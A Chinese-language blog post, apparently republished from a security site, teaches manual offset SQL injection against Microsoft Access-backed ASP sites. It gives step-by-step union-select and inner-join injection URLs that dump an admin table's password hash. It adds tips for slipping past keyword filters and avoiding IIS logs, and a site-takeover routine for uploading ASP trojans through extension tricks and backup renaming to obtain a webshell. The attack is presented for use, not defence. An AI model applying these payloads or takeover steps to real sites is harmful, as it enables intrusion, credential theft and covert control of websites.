在sql注入学习过程中,大家难免遇到很多晦涩难懂的地方,就比如access偏移注入。可能大家在网上已经看到过各种教程的讲解,但是总只是一步带过,只说了这样做却没有讲为什么要这样做,使得学完后并不能举一反三。
就我个人而言就是这样的经历,只不过多亏学习了sqlserver数据库语言,对数据库语句有些深入的认识,就立马通晓很多地方的东西。
那么今天我就分享下,自己对于access数据库偏移注入章节的学习收获和给大家一个简单明了的过程展示。让大家马上快速了解和掌握access数据库偏移注入技巧。
以一个例子来讲解access偏移注入:
1.猜字段数
http://www.xxx.com/show.asp?id=123 order by 20 页面返回正确
http://www.xxx.com/show.asp?id=123 order by 21 页面返回错误
2.猜表名:
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin
返回正确,说明存在admin表,但是紧接着,爆出的数字地方,放入常用的字段始终报错,并不能猜出正确的字段,进而:
3.猜表下的字段数:
为了让语句正确,用*来加长字段数:
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin(页面报错)
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin(页面报错)
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin(页面报错)
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin(页面正确)
此时就发现了admin表下有四个字段(20-16=4)。
4.inner join 连接查询:
ps:inner join查询是将一张表虚拟成多张相同的表来进行查询(我自己是这么理解的。)
首先用两张表来进行查询,应该减去重复的部分也就是这四个字段,不能让这四个字段算两次,这样的话20-4-4=12,语句中只需要罗列出12个数字。
继续,
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,* from (admin as a inner join admin as b on?a.id = b.id)
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,a.id,b.id,* from (admin as a inner join?admin as b on a.id = b.id)
上面的这两种情况还是报错,那么我们继续再来添加一张表,再减去重复的四个字段,20-4-4-4=8,语句中只需要罗列出8个数字。
再次使用inner join查询:
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,* from ((admin as a inner join admin as?b on a.id=b.id) inner join admin as c on a.id=c.id)
页面返回正确,成功得到md5密码。
access偏移注入原理:*所表示的字段的顺序被打乱,通过使用inner join查询,从而有可能爆出用户和密码的字段数据。
下面再分享和补全access注入过程中的经验和方法
经验小结:
1.有些人会过滤select、update、delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。
2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。
3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考urlencode的相关介绍。
4.用get方法注入时,IIS会记录你所有的提交字符串,对post方法做则不记录,所以能用post的网址尽量不用get。
5. 猜解access时只能用ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。
常规拿站方法:
1.用啊D或明小子各种工具扫描检测是否有注入点。
2.扫描access里的管理员的帐号和密码,但是密码一般都是用MD5加密过的,大家可以到MD5网站里破解。
3.判断注入:
‘ 不正常
and 1=1 正常
and 1=2 不正常
4.判断数据库类型
5.猜解表名,列名
6.检测字段长度
order by n n的数值不停地变化,在正常和不正常之间选择正常的字段值为正确的长度
7.扫描网站的后台地址,然后用破解出来的帐号和密码登录后台,找到文件上传的地方,利用asp上传漏洞上传asp木马,但是有不少网 站都限制了上传ASP文件的类型,一般来说ASP为后缀的文件都不允许上传。但是这种限制是可以被黑客突破的。比如:把asp扩展名修改 成asa,aaspsp,cer后进行上传asp木马。
获得webshell如不能上传asa,aaspsp,cer文件格式,也可以利用备份功能,首先找到文件上传功能,上传一个ASP木马但是要注意:把 ASP木马的扩展名改成JPG或GIF后缀的,然后找到后台的数据库备份把要备份的文件后缀改成.asp。
获得WEBSHELL或用采取上传一个正常的JPG图片用抓包工具抓包得到图片的上传路径和cookie,然后利用桂林老兵或明小子进行上传的欺 骗方式来上传asp木马,如上传失败就修改数据包再用nc上传获得webshell。
以上是个人的经验总结,若发现有误或不足之处,恳请留言或邮箱批评指正!欢迎大家与我技术交流!
转载请注明:即刻安全 » Access数据库手工偏移注入详细讲解|个人经验总结